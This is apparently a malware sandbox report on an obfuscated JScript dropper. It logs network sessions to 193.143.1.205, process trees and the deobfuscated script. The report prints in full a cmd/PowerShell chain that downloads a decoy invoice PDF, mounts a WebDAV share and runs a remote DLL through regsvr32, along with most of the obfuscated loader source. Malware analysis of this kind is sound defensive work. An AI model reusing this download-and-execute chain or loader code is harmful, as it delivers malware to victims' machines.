Jan 10, 2025 21:21:08.171704054 CET	1.1.1.1	192.168.2.10	0x373e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49705	193.143.1.205	80	5768	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:20:56.481422901 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 21:20:57.246848106 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:20:57 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 21:20:57.246870995 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 21:20:57.246882915 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 21:20:57.246896982 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 21:20:57.246907949 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 21:20:57.246920109 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 21:20:57.246931076 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 21:20:57.246941090 CET	108	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|
Jan 10, 2025 21:20:57.246952057 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 21:20:57.246963978 CET	1164	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 10, 2025 21:20:57.289696932 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49706	193.143.1.205	8888	5656	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:20:58.814225912 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:20:59.586143017 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:20:59 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	15:20:50
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\42173378525889.js"
Imagebase:	0x7ff7b9cd0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:20:50
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll
Imagebase:	0x7ff6c3e50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:20:50
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:20:51
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:20:57
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:20:57
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6c3e50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:20:57
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6df030000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:20:58
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:20:58
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:20:58
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2304 --field-trial-handle=1644,i,4730194288030749794,8526984683498079555,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function cbohvukwo() {	cbohvukwo() ➔ undefined
1	wjwqlu = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ffqzslsn = this[luwcd + lbmskq + nuoqxzaln + qadrhez + rijpeel + hwcjmcm + qulme + ragrkouh] ( this[qkaaxgw + qhqaxast + yotcpqerc + nuoqxzaln + hnhvwflxz + luwcd + ragrkouh][pfgvdw + nuoqxzaln + rijpeel + lbmskq + ragrkouh + rijpeel + aupis + ptbpnpuww + xagancj + rijpeel + yotcpqerc + ragrkouh] ( qkaaxgw + qhqaxast + yotcpqerc + nuoqxzaln + hnhvwflxz + luwcd + ragrkouh + rzbjdiau + qhqaxast + vyguc + rijpeel + bkjsnmuv + bkjsnmuv ) [uhtkbepw + rijpeel + xfrvlo + uhtkbepw + rijpeel + lbmskq + schan] ( zvcsqo + dyaae + klotn + jzyewptz + yqwxixp + pfgvdw + yfkojreg + uhtkbepw + uhtkbepw + klotn + bdwcr + rgcrp + yqwxixp + yfkojreg + qhqaxast + klotn + uhtkbepw + rrxwycpwg + pfgvdw + rvphoglr + qulme + ragrkouh + nuoqxzaln + rvphoglr + bkjsnmuv + npjhyxuhq + npezhv + lbmskq + qulme + rijpeel + bkjsnmuv + rrxwycpwg + hwcjmcm + qulme + ragrkouh + rijpeel + nuoqxzaln + qulme + lbmskq + ragrkouh + hnhvwflxz + rvphoglr + qulme + lbmskq + bkjsnmuv + rrxwycpwg + brtpopwvm + rvphoglr + yotcpqerc + lbmskq + bkjsnmuv + rijpeel ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( roixou = 0 ; roixou < wjwqlu[bkjsnmuv + rijpeel + qulme + xfrvlo + ragrkouh + vyguc] ; ++ roixou )
4	{
5	if ( ffqzslsn == wjwqlu[roixou] )
6	{
7	ffqzslsn = true;
8	break ;
9	}
10	}
11	if ( ffqzslsn !== true )
12	this[qkaaxgw + qhqaxast + yotcpqerc + nuoqxzaln + hnhvwflxz + luwcd + ragrkouh][vvflx + ukyng + hnhvwflxz + ragrkouh] ( );
13	this[qkaaxgw + qhqaxast + yotcpqerc + nuoqxzaln + hnhvwflxz + luwcd + ragrkouh][pfgvdw + nuoqxzaln + rijpeel + lbmskq + ragrkouh + rijpeel + aupis + ptbpnpuww + xagancj + rijpeel + yotcpqerc + ragrkouh] ( qkaaxgw + qhqaxast + yotcpqerc + nuoqxzaln + hnhvwflxz + luwcd + ragrkouh + rzbjdiau + qhqaxast + vyguc + rijpeel + bkjsnmuv + bkjsnmuv ) [nuoqxzaln + ukyng + qulme] ( yotcpqerc + xjfsqg + schan + npjhyxuhq + zvcnaxn + yotcpqerc + npjhyxuhq + luwcd + rvphoglr + cbqgyx + rijpeel + nuoqxzaln + qadrhez + vyguc + rijpeel + bkjsnmuv + bkjsnmuv + rzbjdiau + rijpeel + iajvh + rijpeel + npjhyxuhq + karzu + pfgvdw + rvphoglr + xjfsqg + xjfsqg + lbmskq + qulme + schan + npjhyxuhq + acxlph + hwcjmcm + qulme + vjirkiacd + rvphoglr + znzvu + rijpeel + karzu + qkaaxgw + rijpeel + ptbpnpuww + uhtkbepw + rijpeel + nzekladth + ukyng + rijpeel + qadrhez + ragrkouh + npjhyxuhq + karzu + aupis + ukyng + ragrkouh + fyeft + hnhvwflxz + bkjsnmuv + rijpeel + npjhyxuhq + ybayswh + ragrkouh + rijpeel + xjfsqg + luwcd + ybayswh + rrxwycpwg + hnhvwflxz + qulme + vjirkiacd + rvphoglr + hnhvwflxz + yotcpqerc + rijpeel + rzbjdiau + luwcd + schan + bnvdqjao + npjhyxuhq + vyguc + ragrkouh + ragrkouh + luwcd + xcutoqo + zvcnaxn + zvcnaxn + zzlkbb + prhrsu + iphkvxv + rzbjdiau + zzlkbb + flthjdcbq + iphkvxv + rzbjdiau + zzlkbb + rzbjdiau + oyjegmd + dpyny + azhum + zvcnaxn + hnhvwflxz + qulme + vjirkiacd + rvphoglr + hnhvwflxz + yotcpqerc + rijpeel + rzbjdiau + luwcd + vyguc + luwcd + acxlph + cewigdwzv + cewigdwzv + qadrhez + ragrkouh + lbmskq + nuoqxzaln + ragrkouh + npjhyxuhq + ybayswh + ragrkouh + rijpeel + xjfsqg + luwcd + ybayswh + rrxwycpwg + hnhvwflxz + qulme + vjirkiacd + rvphoglr + hnhvwflxz + yotcpqerc + rijpeel + rzbjdiau + luwcd + schan + bnvdqjao + cewigdwzv + cewigdwzv + yotcpqerc + xjfsqg + schan + npjhyxuhq + zvcnaxn + yotcpqerc + npjhyxuhq + qulme + rijpeel + ragrkouh + npjhyxuhq + ukyng + qadrhez + rijpeel + npjhyxuhq + rrxwycpwg + rrxwycpwg + zzlkbb + prhrsu + iphkvxv + rzbjdiau + zzlkbb + flthjdcbq + iphkvxv + rzbjdiau + zzlkbb + rzbjdiau + oyjegmd + dpyny + azhum + thztd + pbyjindak + pbyjindak + pbyjindak + pbyjindak + rrxwycpwg + schan + lbmskq + vjirkiacd + cbqgyx + cbqgyx + cbqgyx + nuoqxzaln + rvphoglr + rvphoglr + ragrkouh + rrxwycpwg + cewigdwzv + cewigdwzv + yotcpqerc + xjfsqg + schan + npjhyxuhq + zvcnaxn + yotcpqerc + npjhyxuhq + nuoqxzaln + rijpeel + xfrvlo + qadrhez + vjirkiacd + nuoqxzaln + iphkvxv + oyjegmd + npjhyxuhq + zvcnaxn + qadrhez + npjhyxuhq + rrxwycpwg + rrxwycpwg + zzlkbb + prhrsu + iphkvxv + rzbjdiau + zzlkbb + flthjdcbq + iphkvxv + rzbjdiau + zzlkbb + rzbjdiau + oyjegmd + dpyny + azhum + thztd + pbyjindak + pbyjindak + pbyjindak + pbyjindak + rrxwycpwg + schan + lbmskq + vjirkiacd + cbqgyx + cbqgyx + cbqgyx + nuoqxzaln + rvphoglr + rvphoglr + ragrkouh + rrxwycpwg + zzlkbb + mcztbsmw + zzlkbb + dpyny + prhrsu + mcztbsmw + prhrsu + oyjegmd + azhum + zzlkbb + tdcazbbmn + dpyny + oyjegmd + azhum + rzbjdiau + schan + bkjsnmuv + bkjsnmuv, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll",0,false) ➔ 0
14	}
15	nzekladth = "C";
16	nzekladth = "b";
17	nzekladth = "q";
18	nzekladth = "z";
19	nzekladth = "V";
20	nzekladth = "Q";
21	nzekladth = "k";
22	nzekladth = "a";
23	nzekladth = "T";
24	nzekladth = "c";
25	nzekladth = "l";
26	nzekladth = "z";
27	nzekladth = "n";
28	nzekladth = "x";
29	nzekladth = "U";
30	nzekladth = "S";
31	nzekladth = "y";
32	nzekladth = "C";
33	nzekladth = "q";
34	yfkojreg = "z";
35	yfkojreg = "y";
36	yfkojreg = "r";
37	yfkojreg = "V";
38	yfkojreg = "b";
39	yfkojreg = "y";
40	yfkojreg = "T";
41	yfkojreg = "S";
42	yfkojreg = "Q";
43	yfkojreg = "z";
44	yfkojreg = "W";
45	yfkojreg = "F";
46	yfkojreg = "I";
47	yfkojreg = "p";
48	yfkojreg = "L";
49	yfkojreg = "u";
50	yfkojreg = "c";
51	yfkojreg = "A";
52	yfkojreg = "p";
53	yfkojreg = "E";
54	yfkojreg = "S";
55	yfkojreg = "k";
56	yfkojreg = "Q";
57	yfkojreg = "U";
58	tdcazbbmn = "o";
59	tdcazbbmn = "L";
60	tdcazbbmn = "K";
61	tdcazbbmn = "b";
62	tdcazbbmn = "n";
63	tdcazbbmn = "p";
64	tdcazbbmn = "g";
65	tdcazbbmn = "a";
66	tdcazbbmn = "f";
67	tdcazbbmn = "o";
68	tdcazbbmn = "R";
69	tdcazbbmn = "X";
70	tdcazbbmn = "M";
71	tdcazbbmn = "q";
72	tdcazbbmn = "X";
73	tdcazbbmn = "q";
74	tdcazbbmn = "U";
75	tdcazbbmn = "I";
76	tdcazbbmn = "X";
77	tdcazbbmn = "P";
78	tdcazbbmn = "r";
79	tdcazbbmn = "h";
80	tdcazbbmn = "k";
81	tdcazbbmn = "m";
82	tdcazbbmn = "m";
83	tdcazbbmn = "a";
84	tdcazbbmn = "h";
85	tdcazbbmn = "R";
86	tdcazbbmn = "y";
87	tdcazbbmn = "H";
88	tdcazbbmn = "h";
89	tdcazbbmn = "p";
90	tdcazbbmn = "G";
91	tdcazbbmn = "m";
92	tdcazbbmn = "X";
93	tdcazbbmn = "7";
94	znzvu = "s";
95	znzvu = "r";
96	znzvu = "d";
97	znzvu = "k";
98	znzvu = "Y";
99	znzvu = "k";
100	brtpopwvm = "L";
101	brtpopwvm = "W";
102	brtpopwvm = "D";
103	brtpopwvm = "X";
104	brtpopwvm = "u";
105	brtpopwvm = "E";
106	brtpopwvm = "E";
107	brtpopwvm = "d";
108	brtpopwvm = "E";
109	brtpopwvm = "i";
110	brtpopwvm = "c";
111	brtpopwvm = "B";
112	brtpopwvm = "W";
113	brtpopwvm = "N";
114	brtpopwvm = "o";
115	brtpopwvm = "w";
116	brtpopwvm = "B";
117	brtpopwvm = "O";
118	brtpopwvm = "e";
119	brtpopwvm = "p";
120	brtpopwvm = "D";
121	brtpopwvm = "h";
122	brtpopwvm = "O";
123	brtpopwvm = "y";
124	brtpopwvm = "W";
125	brtpopwvm = "l";
126	brtpopwvm = "S";
127	brtpopwvm = "g";
128	brtpopwvm = "p";
129	brtpopwvm = "T";
130	brtpopwvm = "k";
131	brtpopwvm = "W";
132	brtpopwvm = "Y";
133	brtpopwvm = "n";
134	brtpopwvm = "Y";
135	brtpopwvm = "c";
136	brtpopwvm = "o";
137	brtpopwvm = "d";
138	brtpopwvm = "r";
139	brtpopwvm = "Z";
140	brtpopwvm = "L";
141	vyguc = "r";
142	vyguc = "B";
143	vyguc = "Q";
144	vyguc = "z";
145	vyguc = "v";
146	vyguc = "L";
147	vyguc = "i";
148	vyguc = "z";
149	vyguc = "W";
150	vyguc = "h";
151	yqwxixp = "f";
152	yqwxixp = "z";
153	yqwxixp = "g";
154	yqwxixp = "R";
155	yqwxixp = "N";
156	yqwxixp = "T";
157	yqwxixp = "U";
158	yqwxixp = "T";
159	yqwxixp = "b";
160	yqwxixp = "c";
161	yqwxixp = "C";
162	yqwxixp = "n";
163	yqwxixp = "C";
164	yqwxixp = "y";
165	yqwxixp = "B";
166	yqwxixp = "v";
167	yqwxixp = "g";
168	yqwxixp = "H";
169	yqwxixp = "X";
170	yqwxixp = "x";
171	yqwxixp = "t";
172	yqwxixp = "w";
173	yqwxixp = "p";
174	yqwxixp = "Y";
175	yqwxixp = "m";
176	yqwxixp = "g";
177	yqwxixp = "b";
178	yqwxixp = "o";
179	yqwxixp = "B";
180	yqwxixp = "l";
181	yqwxixp = "S";
182	yqwxixp = "w";
183	yqwxixp = "U";
184	yqwxixp = "P";
185	yqwxixp = "f";
186	yqwxixp = "d";
187	yqwxixp = "N";
188	yqwxixp = "m";
189	yqwxixp = "_";
190	ukyng = "W";
191	ukyng = "a";
192	ukyng = "P";
193	ukyng = "F";
194	ukyng = "R";
195	ukyng = "z";
196	ukyng = "C";
197	ukyng = "u";
198	qulme = "u";
199	qulme = "O";
200	qulme = "q";
201	qulme = "Q";
202	qulme = "j";
203	qulme = "U";
204	qulme = "m";
205	qulme = "i";
206	qulme = "y";
207	qulme = "K";
208	qulme = "s";
209	qulme = "f";
210	qulme = "L";
211	qulme = "Q";
212	qulme = "T";
213	qulme = "P";
214	qulme = "X";
215	qulme = "s";
216	qulme = "F";
217	qulme = "L";
218	qulme = "C";
219	qulme = "h";
220	qulme = "e";
221	qulme = "N";
222	qulme = "F";
223	qulme = "R";
224	qulme = "B";
225	qulme = "w";
226	qulme = "Y";
227	qulme = "j";
228	qulme = "J";
229	qulme = "L";
230	qulme = "v";
231	qulme = "v";
232	qulme = "I";
233	qulme = "R";
234	qulme = "G";
235	qulme = "j";
236	qulme = "E";
237	qulme = "X";
238	qulme = "Y";
239	qulme = "h";
240	qulme = "t";
241	qulme = "e";
242	qulme = "n";
243	rvphoglr = "t";
244	rvphoglr = "C";
245	rvphoglr = "E";
246	rvphoglr = "V";
247	rvphoglr = "W";
248	rvphoglr = "Y";
249	rvphoglr = "I";
250	rvphoglr = "M";
251	rvphoglr = "h";
252	rvphoglr = "G";
253	rvphoglr = "O";
254	rvphoglr = "h";
255	rvphoglr = "x";
256	rvphoglr = "Y";
257	rvphoglr = "d";
258	rvphoglr = "z";
259	rvphoglr = "D";
260	rvphoglr = "a";
261	rvphoglr = "f";
262	rvphoglr = "z";
263	rvphoglr = "s";
264	rvphoglr = "P";
265	rvphoglr = "v";
266	rvphoglr = "c";
267	rvphoglr = "o";
268	fyeft = "Z";
269	fyeft = "D";
270	fyeft = "J";
271	fyeft = "J";
272	fyeft = "z";
